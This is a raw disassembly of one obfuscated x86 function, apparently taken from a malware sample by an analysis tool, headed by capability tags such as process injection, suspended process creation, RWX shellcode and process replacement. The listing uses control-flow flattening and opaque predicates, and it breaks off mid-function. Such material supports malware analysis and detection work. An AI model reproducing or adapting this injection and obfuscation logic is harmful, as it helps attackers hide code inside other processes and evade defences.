Function at 0x10007200
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18c
mov eax, dword [0x1006d604]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006e888]
mov eax, dword [0x1006e884]
mov edx, ecx
sub edx, 0xbe8f50ea
sub edx, 1
add edx, 0xbe8f50ea
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x18e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x18d], al
mov dword [ebp - 0x194], 0xa4ff1978
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x198], eax
sub eax, 0x80643275
je 0x1000e2ae
jmp 0x1000727b
mov eax, dword [ebp - 0x198]
sub eax, 0x809acfec
je 0x1000dba2
jmp 0x10007291
mov eax, dword [ebp - 0x198]
sub eax, 0x81162bea
je 0x10009846
jmp 0x100072a7
mov eax, dword [ebp - 0x198]
sub eax, 0x81fb5ed5
je 0x1000c8d0
jmp 0x100072bd
mov eax, dword [ebp - 0x198]
sub eax, 0x82c59fff
je 0x1000e22d
jmp 0x100072d3
mov eax, dword [ebp - 0x198]
sub eax, 0x82f34a12
je 0x1000bde7
jmp 0x100072e9
mov eax, dword [ebp - 0x198]
sub eax, 0x83ba3f6f
je 0x1000cc17
jmp 0x100072ff
mov eax, dword [ebp - 0x198]
sub eax, 0x843bd8ac
je 0x100092c0
jmp 0x10007315
mov eax, dword [ebp - 0x198]
sub eax, 0x8522ef68
je 0x1000dff3
jmp 0x1000732b
mov eax, dword [ebp - 0x198]
sub eax, 0x859aa873
je 0x1000d409
jmp 0x10007341
mov eax, dword [ebp - 0x198]
sub eax, 0x860cb73d
je 0x10009897
jmp 0x10007357
mov eax, dword [ebp - 0x198]
sub eax, 0x86c832d5
je 0x1000cd0a
jmp 0x1000736d
mov eax, dword [ebp - 0x198]
sub eax, 0x87b9f112
je 0x1000acd0
jmp 0x10007383
mov eax, dword [ebp - 0x198]
sub eax, 0x89bc936a
je 0x10009593
jmp 0x10007399
mov eax, dword [ebp - 0x198]
sub eax, 0x89edc87c
je 0x1000e8c0
jmp 0x100073af
mov eax, dword [ebp - 0x198]
sub eax, 0x8ab373fa
je 0x1000bc35
jmp 0x100073c5
mov eax, dword [ebp - 0x198]
sub eax, 0x8ca001ea
je 0x1000965a
jmp 0x100073db
mov eax, dword [ebp - 0x198]
sub eax, 0x8cfc1472
je 0x1000eb2f
jmp 0x100073f1
mov eax, dword [ebp - 0x198]
sub eax, 0x8d124723
je 0x1000dd15
jmp 0x10007407
mov eax, dword [ebp - 0x198]
sub eax, 0x8d8ac3b7
je 0x1000dec4
jmp 0x1000741d
mov eax, dword [ebp - 0x198]
sub eax, 0x8f1bab6a
je 0x1000ec8c
jmp 0x10007433
mov eax, dword [ebp - 0x198]
sub eax, 0x90954b4f
je 0x1000bb4b
jmp 0x10007449
mov eax, dword [ebp - 0x198]
sub eax, 0x90c8db17
je 0x1000ae20
jmp 0x1000745f
mov eax, dword [ebp - 0x198]
sub eax, 0x90e6e96b
je 0x1000a931
jmp 0x10007475
mov eax, dword [ebp - 0x198]
sub eax, 0x91a5a6e1
je 0x1000e085
jmp 0x1000748b
mov eax, dword [ebp - 0x198]
sub eax, 0x92226c2b
je 0x1000e326
jmp 0x100074a1
mov eax, dword [ebp - 0x198]
sub eax, 0x93b4c077
je 0x1000c6eb
jmp 0x100074b7
mov eax, dword [ebp - 0x198]
sub eax, 0x93fb618b
je 0x1000ee72
jmp 0x100074cd
mov eax, dword [ebp - 0x198]
sub eax, 0x9612b10b
je 0x1000a3e4
jmp 0x100074e3
mov eax, dword [ebp - 0x198]
sub eax, 0x9671b564
je 0x1000912f
jmp 0x100074f9
mov eax, dword [ebp - 0x198]
sub eax, 0x96cbb789
je 0x1000a241
jmp 0x1000750f
mov eax, dword [ebp - 0x198]
sub eax, 0x9887c534
je 0x1000b2dc
jmp 0x10007525
mov eax, dword [ebp - 0x198]
sub eax, 0x99cc72f2
je 0x1000e8b1
jmp 0x1000753b
mov eax, dword [ebp - 0x198]
sub eax, 0x9acbdb2b
je 0x100097f5
jmp 0x10007551
mov eax, dword [ebp - 0x198]
sub eax, 0x9b370bfc
je 0x1000cf50
jmp 0x10007567
mov eax, dword [ebp - 0x198]
sub eax, 0x9dc1bf31
je 0x10009a61
jmp 0x1000757d
mov eax, dword [ebp - 0x198]
sub eax, 0x9df23121
je 0x1000df03
jmp 0x10007593
mov eax, dword [ebp - 0x198]
sub eax, 0x9f2c7efb
je 0x1000e94d
jmp 0x100075a9
mov eax, dword [ebp - 0x198]
sub eax, 0x9f42e453
je 0x1000c870
jmp 0x100075bf
mov eax, dword [ebp - 0x198]
sub eax, 0x9f43e5dc
je 0x1000c95c
jmp 0x100075d5
mov eax, dword [ebp - 0x198]
sub eax, 0xa0ec107b
je 0x1000b93d
jmp 0x100075eb
mov eax, dword [ebp - 0x198]
sub eax, 0xa247cb73
je 0x10009eef
jmp 0x10007601
mov eax, dword [ebp - 0x198]
sub eax, 0xa26538b7
je 0x1000c818
jmp 0x10007617
mov eax, dword [ebp - 0x198]
sub eax, 0xa3b496ff
je 0x1000a7e5
jmp 0x1000762d
mov eax, dword [ebp - 0x198]
sub eax, 0xa3ce3e94
je 0x1000e41f
jmp 0x10007643
mov eax, dword [ebp - 0x198]
sub eax, 0xa45086e9
je 0x1000eb3e
jmp 0x10007659
mov eax, dword [ebp - 0x198]
sub eax, 0xa4ff1978
je 0x10008f76
jmp 0x1000766f
mov eax, dword [ebp - 0x198]
sub eax, 0xa5df3058
je 0x1000d8ae
jmp 0x10007685
mov eax, dword [ebp - 0x198]
sub eax, 0xa5e4d9a8
je 0x100097e6
jmp 0x1000769b
mov eax, dword [ebp - 0x198]
sub eax, 0xa60e48a4
je 0x1000e902
jmp 0x100076b1
mov eax, dword [ebp - 0x198]
sub eax, 0xa70cd3e9
je 0x1000ab16
jmp 0x100076c7
mov eax, dword [ebp - 0x198]
sub eax, 0xa7e4f3ee
je 0x1000a36d
jmp 0x100076dd
mov eax, dword [ebp - 0x198]
sub eax, 0xa89887b1
je 0x1000cd33
jmp 0x100076f3
mov eax, dword [ebp - 0x198]
sub eax, 0xa8c6a2f0
je 0x1000ce92
jmp 0x10007709
mov eax, dword [ebp - 0x198]
sub eax, 0xa9534df1
je 0x1000b6f3
jmp 0x1000771f
mov eax, dword [ebp - 0x198]
sub eax, 0xabc4b7a9
je 0x1000b4a9
jmp 0x10007735
mov eax, dword [ebp - 0x198]
sub eax, 0xacbf8427
je 0x1000e502
jmp 0x1000774b
mov eax, dword [ebp - 0x198]
sub eax, 0xae709d17
je 0x1000df71
jmp 0x10007761
mov eax, dword [ebp - 0x198]
sub eax, 0xae749443
je 0x10009af8
jmp 0x10007777
mov eax, dword [ebp - 0x198]
sub eax, 0xae9bf49a
je 0x1000a3c3
jmp 0x1000778d
mov eax, dword [ebp - 0x198]
sub eax, 0xaef61ed3
je 0x1000e80f
jmp 0x100077a3
mov eax, dword [ebp - 0x198]
sub eax, 0xaf14ec17
je 0x100091a5
jmp 0x100077b9
mov eax, dword [ebp - 0x198]
sub eax, 0xaf303af1
je 0x1000e8e4
jmp 0x100077cf
mov eax, dword [ebp - 0x198]
sub eax, 0xb02046c2
je 0x1000a182
jmp 0x100077e5
mov eax, dword [ebp - 0x198]
sub eax, 0xb03b8bcf
je 0x1000bc44
mov al, byte [ebp - 0x18e]
mov cl, byte [ebp - 0x18d]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5698c18b
mov ecx, 0xbad2ef0b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov ecx, dword [0x1006e888]
mov eax, dword [0x1006e884]
mov edx, ecx
sub edx, 0x64532f28
sub edx, 1
add edx, 0x64532f28
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaef61ed3
mov ecx, 0xaf14ec17
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
push eax
mov eax, esp
mov dword [ebp - 0x184], eax
push eax
mov eax, esp
mov dword [ebp - 0x180], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x17c], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x178], eax
push eax
mov eax, esp
mov dword [ebp - 0x174], eax
push eax
mov eax, esp
mov dword [ebp - 0x170], eax
push eax
mov eax, esp
mov dword [ebp - 0x16c], eax
push eax
mov eax, esp
mov dword [ebp - 0x168], eax
push eax
mov eax, esp
mov dword [ebp - 0x164], eax
push eax
mov eax, esp
mov dword [ebp - 0x160], eax
push eax
mov eax, esp
mov dword [ebp - 0x15c], eax
push eax
mov eax, esp
mov dword [ebp - 0x158], eax
push eax
mov eax, esp
mov dword [ebp - 0x154], eax
mov eax, dword [0x1006e888]
mov ecx, dword [0x1006e884]
mov edx, eax
add edx, 0x14b99e22
sub edx, 1
sub edx, 0x14b99e22
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaef61ed3
mov ecx, 0xb4c55f03
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov dword [ebp - 0x194], 0xfb506fc2
jmp 0x1000ee91
mov eax, dword [0x1006e888]
mov ecx, dword [0x1006e884]
mov edx, eax
sub edx, 0x790365e7
sub edx, 1
add edx, 0x790365e7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x99cc72f2
mov ecx, 0x5ce04c1b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov dl, byte [ebp - 0x111]
mov eax, 0x67179bb6
mov ecx, 0x5787fe9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov dword [ebp - 0x194], 0x9acbdb2b
jmp 0x1000ee91
mov eax, dword [ebp - 0x108]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0x10c]
sub ecx, 0x52c4cf68
add ecx, eax
add ecx, 0x52c4cf68
mov eax, dword [ebp - 0x184]
mov dword [eax], ecx
mov dword [ebp - 0x194], 0x2ad40c4
jmp 0x1000ee91
mov eax, dword [0x1006e888]
mov ecx, dword [0x1006e884]
mov edx, eax
sub edx, 0xca29c163
sub edx, 1
add edx, 0xca29c163
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd826e114
mov ecx, 0x860cb73d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov ecx, dword [0x1006e888]
mov eax, dword [0x1006e884]
mov edx, ecx
add edx, 0x3da7249
sub edx, 1
sub edx, 0x3da7249
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd826e114
mov ecx, 0x53aa11de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov ecx, dword [0x1006e888]
mov eax, dword [0x1006e884]
mov edx, ecx
add edx, 0xe85b63d6
sub edx, 1
sub edx, 0xe85b63d6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaf303af1
mov ecx, 0x781a8af8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov ecx, dword [0x1006e888]
mov eax, dword [0x1006e884]
mov edx, ecx
sub edx, 0x3ba2b09c
sub edx, 1
add edx, 0x3ba2b09c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbb4c15e6
mov ecx, 0xbc4dbd15
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov ecx, dword [0x1006e888]
mov eax, dword [0x1006e884]
mov edx, ecx
sub edx, 0xb8429209
sub edx, 1
add edx, 0xb8429209
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x529d41ba
mov ecx, 0x9fd8aac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov ecx, dword [0x1006e888]
mov eax, dword [0x1006e884]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x52ffcc43
mov ecx, 0x3222ec3e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov dword [ebp - 0x194], 0x7af70ab7
jmp 0x1000ee91
mov dl, byte [ebp - 0xe9]
mov eax, 0x655bac78
mov ecx, 0x2ee672b9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov edx, dword [ebp - 0xe8]
mov eax, 0xb0abae1c
mov ecx, 0x9612b10b
cmp edx, 0
cmovge eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov ecx, dword [0x1006e888]
mov eax, dword [0x1006e884]
mov edx, ecx
sub edx, 0x630bf543
sub edx, 1
add edx, 0x630bf543
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8d124723
mov ecx, 0x6cf4386e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov ecx, dword [0x1006e888]
mov eax, dword [0x1006e884]
mov edx, ecx
sub edx, 0x142ff47a
sub edx, 1
add edx, 0x142ff47a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7d66530b
mov ecx, 0x572a0ad2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov ecx, dword [0x1006e888]
mov eax, dword [0x1006e884]
mov edx, ecx
add edx, 0xc712cc6f
sub edx, 1
sub edx, 0xc712cc6f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe9c32fc2
mov ecx, 0x26042f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov ecx, dword [0x1006e888]
mov eax, dword [0x1006e884]
mov edx, ecx
add edx, 0xc9e8b01a
sub edx, 1
sub edx, 0xc9e8b01a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8d8ac3b7
mov ecx, 0x6b262918
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov eax, dword [0x1006e888]
mov ecx, dword [0x1006e884]
mov edx, eax
sub edx, 0x457238d3
sub edx, 1
add edx, 0x457238d3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x61876f12
mov ecx, 0x70ce447
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x154]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x158]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x154]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0x14]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x158]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x154]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x194], 0x7baf3358
jmp 0x1000ee91
mov eax, dword [ebp - 0x80]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x84]
add ecx, eax
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov edx, dword [ebp - 0x158]
mov edx, dword [edx]
mov esi, dword [ebp - 0x148]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
add eax, 0x1e4f24d3
sub eax, edx
sub eax, 0x1e4f24d3
add ecx, eax
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov dword [ebp - 0x194], 0x1798120f
jmp 0x1000ee91
mov eax, dword [0x1006e888]
mov ecx, dword [0x1006e884]
mov edx, eax
add edx, 0x713e1c91
sub edx, 1
sub edx, 0x713e1c91
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcfc9f6d3
mov ecx, 0x6005e2fe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov ecx, dword [0x1006e888]
mov eax, dword [0x1006e884]
mov edx, ecx
add edx, 0x62baa83b
sub edx, 1
sub edx, 0x62baa83b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x663b45aa
mov ecx, 0x26dd1bc7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov eax, dword [ebp - 0x150]
mov ecx, dword [eax]
add ecx, 0x9adfca4a
add ecx, 8
sub ecx, 0x9adfca4a
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x13c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x64], eax
mov ecx, dword [0x1006e888]
mov eax, dword [0x1006e884]
mov edx, ecx
add edx, 0xdf448d83
sub edx, 1
sub edx, 0xdf448d83
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5e7d7de6
mov ecx, 0x11eb171b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov eax, dword [ebp - 0x64]
mov eax, dword [eax + 0x1c]
mov ecx, dword [ebp - 0x68]
add ecx, 0x88692352
sub ecx, eax
sub ecx, 0x88692352
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov eax, dword [ebp - 0x134]
mov dword [eax], 0
mov ecx, dword [0x1006e888]
mov eax, dword [0x1006e884]
mov edx, ecx
sub edx, 0xf1ca4f1f
sub edx, 1
add edx, 0xf1ca4f1f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x76bc640c
mov ecx, 0x3cad8ef1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov dword [ebp - 0x194], 0xb03b8bcf
jmp 0x1000ee91
mov ecx, dword [0x1006e888]
mov eax, dword [0x1006e884]
mov edx, ecx
add edx, 0x548d5435
sub edx, 1
sub edx, 0x548d5435
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaba52e4
mov ecx, 0xe14a97a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov ecx, dword [0x1006e888]
mov eax, dword [0x1006e884]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd4b6963d
mov ecx, 0x786b9435
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov dword [ebp - 0x194], 0x1f4233be
jmp 0x1000ee91
mov eax, dword [0x1006e888]
mov ecx, dword [0x1006e884]
mov edx, eax
add edx, 0xfeb616d2
sub edx, 1
sub edx, 0xfeb616d2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbd11dc04
mov ecx, 0xfd6e2976
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
sub eax, 0x58c94095
add eax, 1
add eax, 0x58c94095
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x194], 0x361a8d0c
jmp 0x1000ee91
mov ecx, dword [0x1006e888]
mov eax, dword [0x1006e884]
mov edx, ecx
sub edx, 0xcbc6ebaa
sub edx, 1
add edx, 0xcbc6ebaa
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8cfc1472
mov ecx, 0x2ae17b30
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov ecx, dword [0x1006e888]
mov eax, dword [0x1006e884]
mov edx, ecx
sub edx, 0x29340f1e
sub edx, 1
add edx, 0x29340f1e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2d1e14ef
mov ecx, 0xda75d85d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov dword [ebp - 0x194], 0xef97c375
jmp 0x1000ee91
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x194], 0x68bb06e1
jmp 0x1000ee91
mov ecx, dword [0x1006e888]
mov eax, dword [0x1006e884]
mov edx, ecx
sub edx, 0xf6fe71bf
sub edx, 1
add edx, 0xf6fe71bf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf21302e4
mov ecx, 0xda6a76fd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov eax, dword [0x1006e888]
mov ecx, dword [0x1006e884]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6739254a
mov ecx, 0xc96293f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov ecx, dword [0x1006e888]
mov eax, dword [0x1006e884]
mov edx, ecx
add edx, 0x88e0661a
sub edx, 1
sub edx, 0x88e0661a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x35a9671e
mov ecx, 0x67fa1cf3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov eax, dword [0x1006e888]
mov ecx, dword [0x1006e884]
mov edx, eax
sub edx, 0x86d76388
sub edx, 1
add edx, 0x86d76388
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2ec45701
